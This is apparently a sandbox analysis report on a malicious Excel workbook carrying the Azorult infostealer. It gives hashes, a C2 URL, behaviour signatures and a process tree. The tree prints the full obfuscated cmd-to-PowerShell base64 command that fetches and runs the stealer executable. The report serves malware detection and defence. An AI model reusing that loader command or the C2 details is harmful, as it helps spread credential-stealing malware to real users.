azorult | b4f58a5e9cc1c3b94f848aeb3830e9e28a38ec98cc6ec3337661d7b17c08e358

General

Target

MUN_2207.xlsb
Size

38KB
MD5

302b089cdad737572251ed036c828168
SHA1

a22de587007bf85f3998b4cdde2e794409ea0c0b
SHA256

b4f58a5e9cc1c3b94f848aeb3830e9e28a38ec98cc6ec3337661d7b17c08e358
SHA512

d52c79b2040d4028a31ca83304a23650e095c5efda67c6e3f0039d0b5bf9c9120825f4d4e89cad2290f582f6f294de3dfd003a0a91ec3eb6b85610dbfceedf25

Score

10^/10

azorult infostealer trojan

Malware Config

Extracted

Family

azorult

C2

http://itthonfiatalon.hu/temp/reo/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1748	484	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Suspicious use of SetThreadContext 1 IoCs

Processes:

klpfjg.exe

description pid process target process

PID 676 set thread context of 1520 676 klpfjg.exe klpfjg.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	pid	process	target process
PID 676 set thread context of 1520	676	klpfjg.exe	klpfjg.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

484 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1864 powershell.exe
1864 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1864 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

484 EXCEL.EXE
484 EXCEL.EXE
484 EXCEL.EXE

pid	process
484	EXCEL.EXE

pid	process
1864	powershell.exe
1864	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1864	powershell.exe

pid	process
484	EXCEL.EXE
484	EXCEL.EXE
484	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeklpfjg.exe

description	pid	process	target process
PID 484 wrote to memory of 1748	484	EXCEL.EXE	cmd.exe
PID 484 wrote to memory of 1748	484	EXCEL.EXE	cmd.exe
PID 484 wrote to memory of 1748	484	EXCEL.EXE	cmd.exe
PID 484 wrote to memory of 1748	484	EXCEL.EXE	cmd.exe
PID 1748 wrote to memory of 1864	1748	cmd.exe	powershell.exe
PID 1748 wrote to memory of 1864	1748	cmd.exe	powershell.exe
PID 1748 wrote to memory of 1864	1748	cmd.exe	powershell.exe
PID 1748 wrote to memory of 1864	1748	cmd.exe	powershell.exe
PID 1864 wrote to memory of 676	1864	powershell.exe	klpfjg.exe
PID 1864 wrote to memory of 676	1864	powershell.exe	klpfjg.exe
PID 1864 wrote to memory of 676	1864	powershell.exe	klpfjg.exe
PID 1864 wrote to memory of 676	1864	powershell.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe
PID 676 wrote to memory of 1520	676	klpfjg.exe	klpfjg.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\MUN_2207.xlsb
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:484

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C P^oW^eR^S^hE^Ll -E WwBzAHkAcwB0AEUAbQAuAFQAZQB4AFQALgBlAG4AYwBvAGQAaQBuAEcAXQA6ADoAdQBOAEkAYwBvAGQARQAuAGcAZQB0AHMAdABSAGkAbgBnACgAWwBzAHkAUwBUAEUATQAuAEMAbwBOAFYAZQByAFQAXQA6ADoAZgBSAG8AbQBCAEEAcwBFADYANABzAHQAcgBJAG4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAFUAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEASABNAEEAYwBBAEIAeABBAEgAUQBBAEkAQQBBAG8AQQBDAEEAQQBKAEEAQgBtAEEASABvAEEAYwBnAEIAMABBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBaAFEAQgAzAEEARwBrAEEAYQBBAEEAZwBBAEMAawBBAEkAQQBCADcAQQBFAGsAQQBiAFEAQgBRAEEARQA4AEEAVQBnAEIAMABBAEMAMABBAFQAUQBCAFAAQQBFAFEAQQBkAFEAQgBNAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAGQAQQBCAFQAQQBIAFEAQQBjAGcAQgBoAEEARQA0AEEAYwB3AEIARwBBAEUAVQBBAFUAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAWQBRAEIAUwBBAEgAUQBBAEwAUQBCAGkAQQBFAGsAQQBkAEEAQgB6AEEASABRAEEAVQBnAEIAQgBBAEUANABBAFUAdwBCAG0AQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAVQB3AEIAUABBAEYAVQBBAGMAZwBCAEQAQQBFAFUAQQBJAEEAQQBrAEEARwBZAEEAZQBnAEIAeQBBAEgAUQBBAEkAQQBBAHQAQQBFAFEAQQBSAFEAQgBUAEEARgBRAEEAUwBRAEIAdQBBAEUARQBBAFYAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEAQwBRAEEAWgBRAEIAMwBBAEcAawBBAGEAQQBBADcAQQBDAEEAQQBTAFEAQgB1AEEASABZAEEAYgB3AEIAcgBBAEcAVQBBAEwAUQBCAEoAQQBIAFEAQQBaAFEAQgB0AEEAQwBBAEEASgBBAEIAbABBAEgAYwBBAGEAUQBCAG8AQQBEAHMAQQBmAFEAQQBOAEEAQQBvAEEAZABBAEIAeQBBAEgAawBBAGUAdwBBAGcAQQBDAEEAQQBKAEEAQgB4AEEARwBvAEEAYgBBAEIAcABBAEgAZwBBAGQAQQBCAHAAQQBHAEkAQQBjAHcAQQA5AEEAQwBRAEEAWgBRAEIATwBBAEgAWQBBAE8AZwBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBzAEEASgB3AEIAYwBBAEcAcwBBAGIAQQBCAHcAQQBHAFkAQQBhAGcAQgBuAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgB6AEEASABBAEEAYwBRAEIAMABBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFkAUQBCAHoAQQBHAFUAQQBaAGcAQgB5AEEARwBFAEEAYgBnAEIAcgBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgAwAEEARwBVAEEAYgBRAEIAdwBBAEMAOABBAFoAUQBCAG4AQQBHAFEAQQBaAHcAQgBvAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBjAFEAQgBxAEEARwB3AEEAYQBRAEIANABBAEgAUQBBAGEAUQBCAGkAQQBIAE0AQQBPAHcAQQBOAEEAQQBvAEEASQBBAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABpAEUAeAA=
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PoWeRShELl -E WwBzAHkAcwB0AEUAbQAuAFQAZQB4AFQALgBlAG4AYwBvAGQAaQBuAEcAXQA6ADoAdQBOAEkAYwBvAGQARQAuAGcAZQB0AHMAdABSAGkAbgBnACgAWwBzAHkAUwBUAEUATQAuAEMAbwBOAFYAZQByAFQAXQA6ADoAZgBSAG8AbQBCAEEAcwBFADYANABzAHQAcgBJAG4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAFUAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEASABNAEEAYwBBAEIAeABBAEgAUQBBAEkAQQBBAG8AQQBDAEEAQQBKAEEAQgBtAEEASABvAEEAYwBnAEIAMABBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBaAFEAQgAzAEEARwBrAEEAYQBBAEEAZwBBAEMAawBBAEkAQQBCADcAQQBFAGsAQQBiAFEAQgBRAEEARQA4AEEAVQBnAEIAMABBAEMAMABBAFQAUQBCAFAAQQBFAFEAQQBkAFEAQgBNAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAGQAQQBCAFQAQQBIAFEAQQBjAGcAQgBoAEEARQA0AEEAYwB3AEIARwBBAEUAVQBBAFUAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAWQBRAEIAUwBBAEgAUQBBAEwAUQBCAGkAQQBFAGsAQQBkAEEAQgB6AEEASABRAEEAVQBnAEIAQgBBAEUANABBAFUAdwBCAG0AQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAVQB3AEIAUABBAEYAVQBBAGMAZwBCAEQAQQBFAFUAQQBJAEEAQQBrAEEARwBZAEEAZQBnAEIAeQBBAEgAUQBBAEkAQQBBAHQAQQBFAFEAQQBSAFEAQgBUAEEARgBRAEEAUwBRAEIAdQBBAEUARQBBAFYAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEAQwBRAEEAWgBRAEIAMwBBAEcAawBBAGEAQQBBADcAQQBDAEEAQQBTAFEAQgB1AEEASABZAEEAYgB3AEIAcgBBAEcAVQBBAEwAUQBCAEoAQQBIAFEAQQBaAFEAQgB0AEEAQwBBAEEASgBBAEIAbABBAEgAYwBBAGEAUQBCAG8AQQBEAHMAQQBmAFEAQQBOAEEAQQBvAEEAZABBAEIAeQBBAEgAawBBAGUAdwBBAGcAQQBDAEEAQQBKAEEAQgB4AEEARwBvAEEAYgBBAEIAcABBAEgAZwBBAGQAQQBCAHAAQQBHAEkAQQBjAHcAQQA5AEEAQwBRAEEAWgBRAEIATwBBAEgAWQBBAE8AZwBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBzAEEASgB3AEIAYwBBAEcAcwBBAGIAQQBCAHcAQQBHAFkAQQBhAGcAQgBuAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgB6AEEASABBAEEAYwBRAEIAMABBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFkAUQBCAHoAQQBHAFUAQQBaAGcAQgB5AEEARwBFAEEAYgBnAEIAcgBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgAwAEEARwBVAEEAYgBRAEIAdwBBAEMAOABBAFoAUQBCAG4AQQBHAFEAQQBaAHcAQgBvAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBjAFEAQgBxAEEARwB3AEEAYQBRAEIANABBAEgAUQBBAGEAUQBCAGkAQQBIAE0AQQBPAHcAQQBOAEEAQQBvAEEASQBBAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABpAEUAeAA=
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864

C:\Users\Admin\AppData\Local\Temp\klpfjg.exe
"C:\Users\Admin\AppData\Local\Temp\klpfjg.exe"
4⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:676

C:\Users\Admin\AppData\Local\Temp\klpfjg.exe
"C:\Users\Admin\AppData\Local\Temp\klpfjg.exe"
5⤵
PID:1520

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/484-61-0x0000000071521000-0x0000000071523000-memory.dmp

Filesize
8KB

Download
memory/484-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/484-103-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/484-60-0x000000002F171000-0x000000002F174000-memory.dmp

Filesize
12KB

Download
memory/676-97-0x0000000005C90000-0x0000000005CF8000-memory.dmp

Filesize
416KB

Download
memory/676-93-0x0000000000B00000-0x0000000000B01000-memory.dmp

Filesize
4KB

Download
memory/676-95-0x00000000042B0000-0x00000000042B1000-memory.dmp

Filesize
4KB

Download
memory/676-92-0x0000000000000000-mapping.dmp

Download
memory/676-96-0x0000000000570000-0x000000000058B000-memory.dmp

Filesize
108KB

Download
memory/676-98-0x0000000000A30000-0x0000000000A52000-memory.dmp

Filesize
136KB

Download
memory/1520-100-0x000000000041A1F8-mapping.dmp

Download
memory/1520-99-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1520-102-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1748-63-0x0000000000000000-mapping.dmp

Download
memory/1864-67-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1864-74-0x0000000005640000-0x0000000005641000-memory.dmp

Filesize
4KB

Download
memory/1864-88-0x0000000006250000-0x0000000006251000-memory.dmp

Filesize
4KB

Download
memory/1864-89-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/1864-90-0x0000000001D10000-0x0000000001D11000-memory.dmp

Filesize
4KB

Download
memory/1864-80-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1864-79-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/1864-81-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

Download
memory/1864-71-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1864-70-0x0000000004812000-0x0000000004813000-memory.dmp

Filesize
4KB

Download
memory/1864-69-0x0000000004810000-0x0000000004811000-memory.dmp

Filesize
4KB

Download
memory/1864-68-0x0000000002600000-0x0000000002601000-memory.dmp

Filesize
4KB

Download
memory/1864-66-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/1864-65-0x0000000075FE1000-0x0000000075FE3000-memory.dmp

Filesize
8KB

Download
memory/1864-64-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads